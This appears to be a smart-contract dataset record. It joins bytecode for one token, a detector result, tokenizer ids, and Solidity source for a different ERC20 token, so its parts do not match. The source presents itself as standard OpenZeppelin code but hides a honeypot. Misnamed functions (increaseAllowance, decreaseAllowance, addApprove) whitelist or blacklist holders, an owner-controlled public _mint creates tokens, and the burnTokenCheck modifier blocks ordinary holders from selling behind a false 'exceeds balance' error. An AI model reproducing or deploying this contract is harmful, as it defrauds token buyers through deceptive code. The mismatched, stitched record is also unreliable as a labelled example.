ffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4654455800000000000000000000000000000000000000000000000000000000815250905090565b60006113f76113f06119cd565b8484611c86565b6001905092915050565b60065481565b6000600454905090565b6114196119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060078190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600554905090565b61157c6119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061263d6024913960400191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6117426119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611888576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806125626026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110156119c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806126196024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ae1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125886022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000838311158290611c79576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c3e578082015181840152602081019050611c23565b50505050905090810190601f168015611c6b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806125f46025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061251d6023913960400191505060405180910390fd5b60008111611deb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806125cb6029913960400191505060405180910390fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e8e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e9c5760009050611ed6565b611ea582612083565b90506000611eb2826120b4565b90506000611ebf836120e6565b9050611eca82612118565b611ed381612251565b50505b6000611eeb828461238a90919063ffffffff16565b9050611f3f81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd483600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238a90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505050565b60006120ad606461209f6006548561240d90919063ffffffff16565b61249390919063ffffffff16565b9050919050565b60006120df6009546120d16007548561240d90919063ffffffff16565b61249390919063ffffffff16565b9050919050565b60006121116009546121036008548561240d90919063ffffffff16565b61249390919063ffffffff16565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156121745761224e565b6121e88160016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194590919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122ad57612387565b6123218160016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194590919063ffffffff16565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600082821115612402576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b600080831415612420576000905061248d565b600082840290508284828161243157fe5b0414612488576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806125aa6021913960400191505060405180910390fd5b809150505b92915050565b600080821161250a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b81838161251357fe5b0490509291505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734163636f756e7420697320616c726561647920696e636c7564656420696e206665654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734163636f756e7420697320616c7265616479206578636c756465642066726f6d2066656545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207a4524e8ad39b769da93535f8b1b3a61a8b7672ab6509fcb9369e467ab0cdf4f64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 23777, 27421, 2629, 2546, 22022, 2575, 2850, 2050, 17914, 2050, 2509, 2050, 12376, 2497, 2692, 27531, 2683, 12879, 2497, 27531, 2050, 26224, 2063, 2549, 2497, 2620, 9468, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6185, 1011, 5718, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6185, 1011, 5718, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,742
0x9743d973357b6cf4c959957bde3467aa4f9b1636
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
